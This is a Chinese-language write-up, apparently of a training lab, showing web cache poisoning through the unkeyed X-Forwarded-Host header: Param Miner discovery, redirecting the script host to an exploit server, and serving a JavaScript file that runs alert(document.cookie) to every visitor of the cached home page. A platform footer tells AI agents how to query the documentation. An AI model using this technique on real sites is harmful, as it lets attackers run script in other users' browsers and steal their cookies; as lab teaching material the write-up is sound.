> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).

# 利用未索引的头进行缓存投毒

### 使用未键入标头的 Web 缓存投毒

此应用程序存在一个 **Web 缓存投毒** 漏洞，因为它会危险地处理来自一个 **未键入的标头**。/ 一名合法用户定期访问该网站的主页。

\*\* 目标：\*\*/ 使缓存中毒，以便主页提供一个会执行 `alert(document.cookie)` 在受害者的浏览器中。

<figure><img src="/files/310d10c5a4ced2853521f147bef57e4c403b900a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e07acfffbd427721407073c53f101f4bbe7bfdfd" alt=""><figcaption></figcaption></figure>

**缓存行为分析**

* 在拦截对主页的请求时，一个 **`Age`** 参数出现在响应中，表明该资源被缓存了 **30 秒**.

<figure><img src="/files/5899f08a75edf6caadf1e99231f64902e5d5ea9f" alt="" width="481"><figcaption></figcaption></figure>

* 向 URL 添加任意参数，例如 `?test=1`，表明：
* 缓存键会重新生成。
* 缓存内容可以在缓存期间被修改并提供给其他用户。

<figure><img src="/files/96420add0000eb176b5c7c5c643f0ea5fbdbe895" alt=""><figcaption></figcaption></figure>

如果有人设法使根响应（`/`）中毒，那么在这 30 秒内，任何访问者都会看到此恶意内容

**搜索可利用的标头**

* 使用 **Param Miner** 在 Burp Suite 中：

<figure><img src="/files/0921858aff7c8988959e61ea949351eabff419aa" alt=""><figcaption></figcaption></figure>

* 由于 **重放器**，因此使用函数 **Guess headers** 。

<figure><img src="/files/8ceda80eb2042395a0830bfd264500b75ce86812" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/aa4be9953b55e79812ec1f3460d6b9c807537bb9" alt="" width="563"><figcaption></figcaption></figure>

该扩展检测到与标头绑定的缓存存在投毒行为 **`X-Forwarded-Host`**.

<figure><img src="/files/6742bb6ecd4ed4982fb1b331c53c6673e092ae9c" alt=""><figcaption></figcaption></figure>

**未编入索引的标头操作**

* 向请求中添加以下标头：

```http
X-Forwarded-Host: test.com
```

* 随后，响应中包含从该域加载 JavaScript 资源的内容。

<figure><img src="/files/d2026cac1b0cc041bdb49ef28e01479c13010873" alt=""><figcaption></figcaption></figure>

* 重新加载时，应用程序总会尝试获取此脚本，这证实了响应已被缓存。

<figure><img src="/files/bc498caa991fd6db0dbf874360498d0e46cf2b15" alt=""><figcaption></figcaption></figure>

**重定向到运行服务器**

* 标头值被替换为运行中的 **服务器域名**:

```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```

随后，应用程序会尝试加载以下资源：

**恶意载荷注入**

* 在运行服务器上，创建以下文件：

```javascript
/resources/js/tracking.js
```

<figure><img src="/files/011cbd64e3205b9af0d3d8f763e78d3a704b666c" alt=""><figcaption></figcaption></figure>

文件内容：

```javascript
alert(document.cookie)
```

* 此脚本现在已包含在缓存的响应中。

<figure><img src="/files/b62c7ba28c65300a981606bf0b64c512cc65ec2d" alt=""><figcaption></figcaption></figure>

**结果**

* 当用户在缓存有效期内访问主页时：
* 浏览器会加载被投毒的脚本。
* 会弹出一个对话框，其中包含 `document.cookie`.

<figure><img src="/files/ccbf366a97fd0c7360cb332c1bc8ca7b4c5ceec5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
